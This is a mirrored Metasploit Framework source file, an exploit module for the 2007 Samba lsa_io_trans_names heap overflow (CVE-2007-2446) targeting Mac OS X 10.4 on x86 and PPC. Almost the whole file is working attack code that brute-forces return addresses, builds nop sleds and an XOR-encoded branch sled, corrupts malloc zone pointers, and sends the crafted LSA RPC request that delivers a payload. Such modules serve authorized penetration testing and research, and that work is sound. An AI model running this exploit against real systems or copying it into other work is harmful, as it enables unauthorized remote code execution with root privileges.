CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/osx/samba/lsa_transnames_heap.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::SMB::Client
11
include Msf::Exploit::Brute
12
13
def initialize(info = {})
14
super(update_info(info,
15
'Name' => 'Samba lsa_io_trans_names Heap Overflow',
16
'Description' => %q{
17
This module triggers a heap overflow in the LSA RPC service
18
of the Samba daemon. This module uses the szone_free() to overwrite
19
the size() or free() pointer in initial_malloc_zones structure.
20
},
21
'Author' =>
22
[
23
'Ramon de C Valle',
24
'Adriano Lima <adriano[at]risesecurity.org>',
25
'hdm'
26
],
27
'License' => MSF_LICENSE,
28
'References' =>
29
[
30
['CVE', '2007-2446'],
31
['OSVDB', '34699'],
32
],
33
'Privileged' => true,
34
'Payload' =>
35
{
36
'Space' => 1024,
37
},
38
'Platform' => 'osx',
39
'DefaultOptions' =>
40
{
41
'PrependSetresuid' => true,
42
},
43
'Targets' =>
44
[
45
['Mac OS X 10.4.x x86 Samba 3.0.10',
46
{
47
'Platform' => 'osx',
48
'Arch' => [ ARCH_X86 ],
49
'Nops' => 4 * 1024,
50
'Bruteforce' =>
51
{
52
'Start' => { 'Ret' => 0x01818000 },
53
'Stop' => { 'Ret' => 0x01830000 },
54
'Step' => 3351,
55
},
56
}
57
],
58
['Mac OS X 10.4.x PPC Samba 3.0.10',
59
{
60
'Platform' => 'osx',
61
'Arch' => [ ARCH_PPC ],
62
'Nops' => 1600,
63
'Bruteforce' =>
64
{
65
'Start' => { 'Ret' => 0x01813000 },
66
'Stop' => { 'Ret' => 0x01830000 },
67
'Step' => 796,
68
}
69
}
70
],
71
['DEBUG',
72
{
73
'Platform' => 'osx',
74
'Arch' => [ ARCH_X86 ],
75
'Nops' => 4 * 1024,
76
'Bruteforce' =>
77
{
78
'Start' => { 'Ret' => 0xaabbccdd },
79
'Stop' => { 'Ret' => 0xaabbccdd },
80
'Step' => 0,
81
}
82
}
83
],
84
],
85
'DisclosureDate' => '2007-05-14'
86
))
87
88
register_options(
89
[
90
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
91
])
92
93
end
94
95
# Handle a strange byteswapping issue on PPC
96
def ppc_byteswap(addr)
97
data = [addr].pack('N')
98
(data[1,1] + data[0,1] + data[3,1] + data[2,1]).unpack('N')[0]
99
end
100
101
def brute_exploit(target_addrs)
102
103
if(not @nops)
104
if (target['Nops'] > 0)
105
print_status("Creating nop sled....")
106
@nops = make_nops(target['Nops'])
107
else
108
@nops = ''
109
end
110
end
111
112
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['Ret'])
113
114
pipe = datastore['SMBPIPE'].downcase
115
116
print_status("Connecting to the SMB service...")
117
connect()
118
smb_login()
119
120
datastore['DCERPC::fake_bind_multi'] = false
121
122
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
123
print_status("Binding to #{handle} ...")
124
dcerpc_bind(handle)
125
print_status("Bound to #{handle} ...")
126
127
num_entries = 256
128
num_entries2 = 257
129
130
#
131
# First talloc_chunk
132
# 16 bits align
133
# 16 bits sid_name_use
134
# 16 bits uni_str_len
135
# 16 bits uni_max_len
136
# 32 bits buffer
137
# 32 bits domain_idx
138
#
139
buf = (('A' * 16) * num_entries)
140
141
# Padding
142
buf << 'A' * 4
143
144
#
145
# Use the szone_free() to overwrite the size() pointer in
146
# initial_malloc_zones structure.
147
#
148
size_pointer = 0x1800008
149
150
# Initial nops array
151
nops = ''
152
153
# x86
154
if (target.arch.include?(ARCH_X86))
155
156
#
157
# We don't use the size() pointer anymore because it
158
# results in a unexpected behavior when smbd process
159
# is started by launchd.
160
#
161
free_pointer = 0x1800018
162
nop = "\x16"
163
164
#
165
# First talloc_chunk
166
# 16 bits align
167
# 16 bits sid_name_use
168
# 16 bits uni_str_len
169
# 16 bits uni_max_len
170
# 32 bits buffer
171
# 32 bits domain_idx
172
#
173
174
# First nop block
175
buf = ((nop * 16) * num_entries)
176
177
#
178
# A nop block of 0x16 (pushl %ss) and the address of
179
# 0x1800014 results in a jns instruction which when
180
# executed will jump over the address written eight
181
# bytes past our target address by szone_free() (the
182
# sign flag is zero at the moment our target address is
183
# executed).
184
#
185
# 0x357b ^ ( 0x1800014 ^ 0x16161616 ) = 0x17962379
186
#
187
# This is the output of the sequence of xor operations
188
# 0: 79 23 jns 0x25
189
# 2: 96 xchgl %eax,%esi
190
# 3: 17 popl %ss
191
# 4: 16 pushl %ss
192
# 5: 16 pushl %ss
193
# 6: 16 pushl %ss
194
# 7: 16 pushl %ss
195
# 8: 14 00 adcb $0x0,%al
196
# a: 80 01 16 addb $0x16,(%ecx)
197
#
198
# This jump is needed because the ecx register does not
199
# point to a valid memory location in free() context
200
# (it is zero).
201
#
202
# The jump will hit our nop block which will be executed
203
# until it reaches the payload.
204
#
205
206
# Padding nops
207
buf << nop * 2
208
209
# Jump over the pointers
210
buf << "\xeb\x08"
211
212
# Pointers
213
buf << [target_addrs['Ret']].pack('V')
214
buf << [free_pointer - 4].pack('V')
215
216
#
217
# We expect to hit this nop block or the one before
218
# the pointers.
219
#
220
buf << nop * (3852 - 8 - payload.encoded.length)
221
222
# Payload
223
buf << payload.encoded
224
225
# Padding nops
226
buf << nop * 1024
227
228
stub = lsa_open_policy(dcerpc)
229
230
stub << NDR.long(0) # num_entries
231
stub << NDR.long(0) # ptr_sid_enum
232
stub << NDR.long(num_entries) # num_entries
233
stub << NDR.long(0x20004) # ptr_trans_names
234
stub << NDR.long(num_entries2) # num_entries2
235
stub << buf
236
237
# PPC
238
else
239
240
#
241
# The first half of the nop sled is an XOR encoded branch
242
# instruction. The second half is a series of unencoded nop
243
# instructions. The result is:
244
#
245
# > This is the decoded branch instruction
246
# 0x181c380: bl 0x181c6a0
247
#
248
# > The size pointer is written below this
249
# 0x181c384: .long 0x1800004
250
#
251
# > Followed by the encoded branch sled
252
# 0x181c388: ba 0x180365c
253
# [ ... ]
254
#
255
# > The branch lands in the normal nop sled
256
# 0x181c6a0: andi. r17,r16,58162
257
# [ ... ]
258
#
259
# > Finally we reach our payload :-)
260
#
261
262
size_pointer = size_pointer - 4
263
264
sled = target['Nops']
265
jump = [ 0x357b ^ ( size_pointer ^ (0x48000001 + sled / 2 )) ].pack('N')
266
nops = (jump * (sled / 8)) + @nops[0, sled / 8]
267
268
addr_size = ppc_byteswap(size_pointer)
269
addr_ret = ppc_byteswap(target_addrs['Ret'])
270
271
# This oddness is required for PPC
272
buf << [addr_size].pack('N')
273
buf << [addr_ret ].pack('N')[2,2]
274
buf << [addr_ret ].pack('N')
275
276
# Padding
277
buf << "A" * (256 - 10)
278
279
stub = lsa_open_policy(dcerpc)
280
281
stub << NDR.long(0) # num_entries
282
stub << NDR.long(0) # ptr_sid_enum
283
stub << NDR.long(num_entries) # num_entries
284
stub << NDR.long(0x20004) # ptr_trans_names
285
stub << NDR.long(num_entries2) # num_entries2
286
stub << buf
287
stub << nops
288
stub << payload.encoded
289
end
290
291
print_status("Calling the vulnerable function...")
292
293
begin
294
# LsarLookupSids
295
dcerpc.call(0x0f, stub)
296
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
297
print_status('Server did not respond, this is expected')
298
rescue Rex::Proto::DCERPC::Exceptions::Fault
299
print_error('Server is most likely patched...')
300
rescue => e
301
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
302
print_status('Server disconnected, this is expected')
303
else
304
print_error("Error: #{e.class}: #{e}")
305
end
306
end
307
308
handler
309
disconnect
310
end
311
312
def lsa_open_policy(dcerpc, server="\\")
313
314
stubdata =
315
# Server
316
NDR.uwstring(server) +
317
# Object Attributes
318
NDR.long(24) + # SIZE
319
NDR.long(0) + # LSPTR
320
NDR.long(0) + # NAME
321
NDR.long(0) + # ATTRS
322
NDR.long(0) + # SEC DES
323
# LSA QOS PTR
324
NDR.long(1) + # Referent
325
NDR.long(12) + # Length
326
NDR.long(2) + # Impersonation
327
NDR.long(1) + # Context Tracking
328
NDR.long(0) + # Effective Only
329
# Access Mask
330
NDR.long(0x02000000)
331
332
res = dcerpc.call(6, stubdata)
333
334
dcerpc.last_response.stub_data[0,20]
335
end
336
end
337
338